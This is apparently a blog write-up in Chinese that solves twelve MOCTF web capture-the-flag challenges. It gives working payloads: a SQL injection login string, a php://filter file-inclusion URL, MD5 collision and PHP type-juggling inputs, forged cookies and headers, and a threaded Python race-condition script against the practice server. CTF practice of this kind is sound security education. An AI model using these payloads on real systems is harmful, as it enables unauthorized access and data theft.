【WriteUp】MOCTF--Web题解

感觉 web 也很重要,所以同样刷刷 web

一道水题

Description:

呱呱呱?
传送门


Solution:

打开链接网页查看源代码就有 flag


Flag:

1
moctf{easy_source_code}

还是水题

Description:

膜CTF?
题目链接


Solution:

看见源代码写了如下内容

1
<input type="password" value="" disabled="disabled" name="password" maxlength="4">

删掉disabled="disabled"maxlength="4"

再输入moctf即可


Flag:

1
moctf{break_the_html}

访问限制

Description:

什么网站这么难访问?

传送门


Solution:

Image

这题就是改User-AgentAccept-Language

脑洞题吧……


Flag:

1
moctf{http_header_1s_easy}

机器蛇

Description:

嘶嘶嘶~

传送门


Solution:

游戏挺好玩的emmm

点开网页查看源代码拉到最下面有提示robots.txt
在网址输入它看到robots.txt的文件内容

1
2
3
user-agent: 
Disallow: /flag327a6c4304ad5938eaf0efb6cc3e53dc.php
Disallow: /index.html

我们打开第二个 Disallow 的网址,查看源代码即可获得 flag


Flag:

1
moctf{g0Od_r0bots_txt}

PHP黑魔法

Description:

好像有源码

传送门


Solution:

根据提示有源码,但是打开以后查看源代码嘛都没有

所以猜测是缓存文件的问题,直接试index.php.swpindex.php~
找到缓存文件是第二个试的,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
html lang="zh-CN">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
<?php

$flag="moctf{**************}";

if (isset($_GET['a'])&&isset($_GET['b'])) {
$a=$_GET['a'];
$b=$_GET['b'];


if($a==$b)
{
echo "<center>Wrong Answer!</center>";
}
else {
if(md5($a)==md5($b))
{
echo "<center>".$flag."</center>";
echo "By:daoyuan";
}
else echo "<center>Wrong Answer!</center>";
}

}
else echo "<center>濂藉儚灏戜簡鐐逛粈涔�</center>";
?>
</body>
</html

可以看出是找两个相同值的 md5,这个百度一下有很多,基础题
以下是我输入的网址

1
http://119.23.73.3:5001/web5/index.php?a=s878926199a&b=s155964671a

Flag:

1
moctf{PHP_1s_b4st_language}

我想要钱

Description:

我要很多很多钱

传送门


Solution:

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
include "flag.php";
highlight_file(__FILE__);

if (isset($_GET['money'])) {
$money=$_GET['money'];
if(strlen($money)<=4&&$money>time()&&!is_array($money))
{
echo $flag;
echo "<!--By:daoyuan-->";
}
else echo "Wrong Answer!";
}
else echo "Wrong Answer!";
?>

构造如下 url 即可,考的是 php 的指数

1
http://119.23.73.3:5001/web6/?money=1e10

Flag:

1
moctf{I_ne4d_much_m0ney}

登录就对了

Description:

听说要登录~

传送门


Solution:

直接一个日常注入测试写法

1
2
用户名:1'or'1'or'1
密码:随意

登录成功后看源代码即可


Flag:

1
moctf{SQLi_Log_1n_4asy}

文件包含

Description:

传送门


Solution:

直接构造如下 url 即可

1
http://119.23.73.3:5001/web8/index.php?file=php://filter/read=convert.base64-encode/resource=flag.php

得到一串 base64,解密即可

1
SSBoYXZlIGEgZmxhZyEKPD9waHAgCgovL0ZsYWc6IG1vY3Rme2YxbGVfaW5jbHVkNF9lNXN5fQovL0J5OmRhb3l1YW4KCj8+Cg==

Flag:

1
moctf{f1le_includ4_e5sy}

暴跳老板

Description:

老板暴跳如雷,骂道:你怎么又没有按照我的意愿发邮件?

传送门


Solution:

进入网页查看源代码发现有个post.html,所以我们进入它

根据提示Please POST your email by Dear!来抓包修改发送内容

Image

这题完全脑洞题嘛


Flag:

1
moctf{00.oo_BBoo_0os}

Flag在哪?

Description:

flag到底在哪!

传送门


Solution:

查看网页源代码看见如下 html

1
<a href="./flag.php">get flag</a>

点击该链接发现到了no_flag.php,猜测有重定位代码,抓包逐步看

第一次抓包GET /web7/flag.php HTTP/1.1

1
2
3
4
5
6
7
8
9
10
11
HTTP/1.1 302 Found
Date: Wed, 02 Oct 2019 13:00:42 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.14
Location: ./where_is_flag.php
Content-Length: 15
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

where is flag!

第二次抓包GET /web7/where_is_flag.php HTTP/1.1

然后就是这样的顺序

1
2
3
4
5
flag.php          --> where is flag!
where_is_flag.php --> I have a flag
I_have_a_flag.php --> I have a frog!
I_have_a_frog.php --> ah~ guess where is flag!
no_flag.php --> There is no flag!

脑洞就完了,我佛了,最后 flag 在frogflag.phpflagfrog.php
输入哪个都能得到 flag


Flag:

1
moctf{wh4re_1s_The_F149}

美味的饼干

Description:

传送门


Solution:

发现用户名和密码输入什么都显示登录成功所以就抓包看了看
发现 admin 账户的 Set-Cookie 有些奇怪

1
2
3
4
Set-Cookie: login=ZWUxMWNiYjE5MDUyZTQwYjA3YWFjMGNhMDYwYzIzZWU%3D

也就是
ZWUxMWNiYjE5MDUyZTQwYjA3YWFjMGNhMDYwYzIzZWU=

Base64 解码后是ee11cbb19052e40b07aac0ca060c23ee
发现是 32 位所以解码以下 md5,结果是user

经过一系列脑洞,我们应该把 admin 进行 md5 加密
然后进行 base64 加密放到 Cookie 里,这里注意 md5 值需要全部小写的英文字母

最后添上Cookie: login=MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D即可


Flag:

1
moctf{Co0kie_is_1nter4sting}

没时间解释了

Description:

快** 传送门


Solution:

尝试抓包index.php --> GET /web2/index.php HTTP/1.1

得到该信息May be u need uploadsomething.php

输入这个 url http://119.23.73.3:5006/web2/uploadsomething.php?filename=1&content=1

得到的返回信息为Flag is here,come on~ http://119.23.73.3:5006/web2/uploads/5ef98d948b7ff9dcbedffbc72aa9ff0b29bff1ab/1

进去他告诉你太慢了,所以这里我写脚本,结果还是Too slow!

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import re

for i in range(50):
r = requests.get(url="http://119.23.73.3:5006/web2/uploadsomething.php?filename=1&content=1")
flag_url = "".join(re.findall(r'on~ (.*)</p>', r.content))
print flag_url
r = requests.get(url=flag_url)
print r.content

发现当输入的值一样时给的 flag 的网址是一样的,可能是条件竞争漏洞,所以就一直对它进行访问

最终exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import thread
import time


def create_flag(thread_count, delay):
cnt = 0
while True:
time.sleep(delay)
print thread_count + str(cnt)
cnt += 1
requests.get(url="http://119.23.73.3:5006/web2/uploadsomething.php?filename=1&content=1")


def print_flag(thread_count, delay):
cnt = 0
while True:
time.sleep(delay)
print thread_count + str(cnt) + ":",\
requests.get(url="http://119.23.73.3:5006/web2/uploads/5ef98d948b7ff9dcbedffbc72aa9ff0b29bff1ab/1").text
cnt += 1


try:
thread.start_new_thread(create_flag, ('[\033[0;32m+\033[0m]Thread1-', 2))
thread.start_new_thread(print_flag, ('[\033[0;32m+\033[0m]Thread2-', 2))
except:
print '[\033[0;31m-\033[0m]There is someing wrong'

while True:
pass

测试结果(运气也太好了吧):

1
2
3
4
5
6
7
[+]Thread1-0
[+]Thread2-0: moctf{y0u_n4ed_f4st} by:daoyuan
[+]Thread2-1: [+]Thread1-1
Too slow!
[+]Thread2-2: [+]Thread1-2
Too slow!
[+]Thread2-3: Too slow!

Flag:

1
moctf{y0u_n4ed_f4st}
文章目录
  1. 1. 一道水题
    1. 1.1. Description:
    2. 1.2. Solution:
    3. 1.3. Flag:
  2. 2. 还是水题
    1. 2.1. Description:
    2. 2.2. Solution:
    3. 2.3. Flag:
  3. 3. 访问限制
    1. 3.1. Description:
    2. 3.2. Solution:
    3. 3.3. Flag:
  4. 4. 机器蛇
    1. 4.1. Description:
    2. 4.2. Solution:
    3. 4.3. Flag:
  5. 5. PHP黑魔法
    1. 5.1. Description:
    2. 5.2. Solution:
    3. 5.3. Flag:
  6. 6. 我想要钱
    1. 6.1. Description:
    2. 6.2. Solution:
    3. 6.3. Flag:
  7. 7. 登录就对了
    1. 7.1. Description:
    2. 7.2. Solution:
    3. 7.3. Flag:
  8. 8. 文件包含
    1. 8.1. Description:
    2. 8.2. Solution:
    3. 8.3. Flag:
  9. 9. 暴跳老板
    1. 9.1. Description:
    2. 9.2. Solution:
    3. 9.3. Flag:
  10. 10. Flag在哪?
    1. 10.1. Description:
    2. 10.2. Solution:
    3. 10.3. Flag:
  11. 11. 美味的饼干
    1. 11.1. Description:
    2. 11.2. Solution:
    3. 11.3. Flag:
  12. 12. 没时间解释了
    1. 12.1. Description:
    2. 12.2. Solution:
    3. 12.3. Flag:
|